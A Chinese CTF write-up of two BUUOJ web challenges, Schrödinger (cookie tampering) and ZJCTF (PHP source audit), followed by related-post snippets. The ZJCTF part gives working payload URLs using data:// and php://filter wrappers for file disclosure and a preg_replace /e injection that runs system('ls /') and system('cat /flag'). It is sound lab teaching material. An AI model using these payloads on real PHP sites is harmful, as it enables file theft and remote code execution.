[BJDCTF 2nd]Schrödinger && [BJDCTF2020]ZJCTF,不过如此
[BJDCTF 2nd]Schrödinger

点进题目之后是一堆英文,英语不好就不配打CTF了吗(流泪)
复制这一堆英文去谷歌翻译的时候发现隐藏文字

移除test.php文件,访问test.php文件

结合index.php的内容,应该是需要我们爆破获取test.php页面adminn的密码
尝试输入http://127.0.0.1/test.php

题目有说:
If the CPU of the server is idle, it must be able to burst out the password you want very soon :)
CPU如果处于空闲状态,会很快得到我们想要的答案,但是当我们输入网址之后,CPU的占用迅速提高,预测成功率的增长速度却越来越慢,估计我有生之年是看不到了,直接点击check

页面跳转至 index.php?check=
弹窗显示爆破失败,示意我们需要等待更长的时间,当然是不可能真的等待的,抓包分析

Cookie里面的dXNlcg的值感觉是base64加密,解密后为:1588061013,看其他师傅的博客知道这是时间戳,应该是根据时间戳来修改网页显示的js代码的
将其置为空,弹窗显示一个B站AV号

flag就在评论区里面

[BJDCTF2020]ZJCTF,不过如此
访问页面显示了源代码
<?php error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
} include($file); //next.php }
else{
highlight_file(__FILE__);
}
?>
从代码里面可以看出来我们传入text和file参数,同时text文件内容需要是I have a dream,而file参数可以进行本地文件包含读取next.php文件代码
text使用php data协议输入数据,file直接使用next.php
http://4ac09eb6-6ae1-4bd2-8daa-103dba1ff644.node3.buuoj.cn/index.php?text=data://text/plain,I have a dream&file=next.php
包含失败

使用php filter伪协议读取next.php文件
http://4ac09eb6-6ae1-4bd2-8daa-103dba1ff644.node3.buuoj.cn/index.php?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
base64解码得到next.php的源代码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
在preg_replace里面第一个参数使用了/e,代码审计的学习中可以知道preg_replace函数第一个参数使用/e是有可能造成代码执行漏洞

当$pattern处存在e修饰符的时候,$replacement的值就会被当做PHP代码执行,这里也是这道题的突破点。
具体分析可以看先知上的这篇文章:https://xz.aliyun.com/t/2557
先使用文章里面的payload打出phpinfo页面
http://4ac09eb6-6ae1-4bd2-8daa-103dba1ff644.node3.buuoj.cn/next.php?\S*=${phpinfo()}

根据next.php代码修改payload,我们需要执行getFlag函数,所以将原来的${phpinfo()}改为${getFlag()},cmd为ls /,显示根目录下的文件
http://4ac09eb6-6ae1-4bd2-8daa-103dba1ff644.node3.buuoj.cn/next.php?\S*=${getFlag()}&cmd=system('ls /');
最后打出flag
http://4ac09eb6-6ae1-4bd2-8daa-103dba1ff644.node3.buuoj.cn/next.php?\S*=${getFlag()}&cmd=system('cat /flag');

[BJDCTF 2nd]Schrödinger && [BJDCTF2020]ZJCTF,不过如此的更多相关文章
- [BJDCTF2020]Mark loves cat && [BJDCTF 2nd]简单注入 && [BJDCTF2020]The mystery of ip
[BJDCTF2020]Mark loves cat 源码泄露 使用GitHack.py下载源码 下载之后对源代码进行审计 flag.php代码为: <?php $flag = file_get ...
- [BUUOJ记录] [BJDCTF 2nd]old-hack & Schrödinger & elementmaster
三道比较简单的的题放一起一写,old-hack是ThinkPHP框架的一个nday,Schrödinger和elementmaster没啥考点,就是脑洞 一.old-hack 进入题目没发现什么Hi ...
- [BJDCTF 2nd]假猪套天下第一 && [BJDCTF2020]Easy MD5
[BJDCTF 2nd]假猪套天下第一 假猪套是一个梗吗? 进入题目,是一个登录界面,输入admin的话会返回错误,登录不成功,其余用户可以正常登陆 以为是注入,简单测试了一下没有什么效果 抓包查看信 ...
- [BJDCTF 2nd]fake google
[BJDCTF 2nd]fake google 进入页面: 试了几下发现输入xxx,一般会按的格式显示, P3's girlfirend is : xxxxx 然后猜测会不会执行代码,发现可以执行 & ...
- BUUOJ [BJDCTF 2nd]elementmaster
[BJDCTF 2nd]elementmaster 进来就是这样的一个界面,然后就查看源代码 转换之后是Po.php,尝试在URL之后加上看看,出现了一个“.“ ....... 迷惑 然后看了wp 化 ...
- BJDCTF 2nd web
先贴一下Y1ng大佬的WP elementmaster 脑洞确实大,源码中hidden的id可以用hex解码成Po. 在URL后面输入Po.php得到一个点, 然后不知所措 被水淹没 实际上这里是要遍 ...
- [BJDCTF 2nd]文件探测
[BJDCTF 2nd]文件探测 这两天刷题碰到了一道稍微有难度的题,记录一下,有一些点是未被掌握到的. home.php: <?php setcookie("y1ng", ...
- [BJDCTF 2nd]duangShell 反弹shell
[BJDCTF 2nd]duangShell [BJDCTF 2nd]duangShell 点击进去之后提示我们swp源代码泄露,访问http://xxx/.index.php.swp下载该文件 ...
- [BJDCTF 2nd]duangShell
[BJDCTF 2nd]duangShell 点击进去之后提示我们swp源代码泄露,访问http://xxx/.index.php.swp下载该文件 该文件产生的原因是:使用vi编辑器打开文件时,会 ...
随机推荐
- [读书笔记] Python语言及其应用
记录下秋招期间看的一本Python工具书<Python语言与其应用>,查漏补缺,部分内容整理如下: 易混淆概念 1.1 删除 - del,remove()和pop() 1.2 复制 - 浅 ...
- binary hacks读数笔记(readelf基本命令)
一.首先对readelf常用的参数进行简单说明: readelf命令是Linux下的分析ELF文件的命令,这个命令在分析ELF文件格式时非常有用,下面以ELF格式可执行文件test为例详细介绍: 1. ...
- 命名管道FIFO及其读写规则
一.匿名管道的一个限制就是只能在具有共同祖先的进程间通信命名管道(FIFO):如果我们想在不相关的进程之间切换数据,可以使用FIFO文件来做这项工作注意:命名管道是一种特殊类型文件.利用命令:$ mk ...
- 适用初学者的5种Python数据输入技术
摘要:数据是数据科学家的基础,因此了解许多加载数据进行分析的方法至关重要.在这里,我们将介绍五种Python数据输入技术,并提供代码示例供您参考. 数据是数据科学家的基础,因此了解许多加载数据进行分析 ...
- JS之DOM(一)
一.DOM简介 什么是DOM?简单地说,DOM是是针对HTML和XML文档的一个API,一套对文档的内容进行抽象和概念化的方法. 学习过ORM的同学可能知道ORM是将数据库中的表映射到类,建立一个表和 ...
- Golang中的OO(面向对象)
组合 > 继承 Go中的设计,以为继承的被诟病,所以Golang的设计团队在语言的设计时并没有采用经典的OO模式 那Golang中各个部分是怎么联系到一起的呢 type ReadWriter i ...
- Java POI 导出带有图片的word
1. 引入maven ,具体可以上github看一下,这里做简单的说明,是一个大神封装了一下 官方提供的语法 文本语法是 {{Text}} 图片语法是{{@Image}} 其他的自己去看官方文档 &l ...
- webpack、node、npm关系
webpack模块打包 webpack为了正常运行, 必须依赖node环境, node环境为了可以正常的执行很多代码,必须其中包含各种依赖的包 npm工具(node packages manager) ...
- PHP一些不一样的思路
大多数来自p牛 SQL注入(left join) 源代码 <?php $link = mysqli_connect('localhost', 'root', 'root'); mysqli_se ...
- PHP代码审计入门(敏感函数回溯参数过程)
最近开始啃<代码审计企业级web代码安全架构>这本书,这一章内容看了2天很多内容都理解最主要的是对PHP不熟练所以现在理解了大概 然后进行实地环境搭建最主要的是源码百度真不好找 最后找到一 ...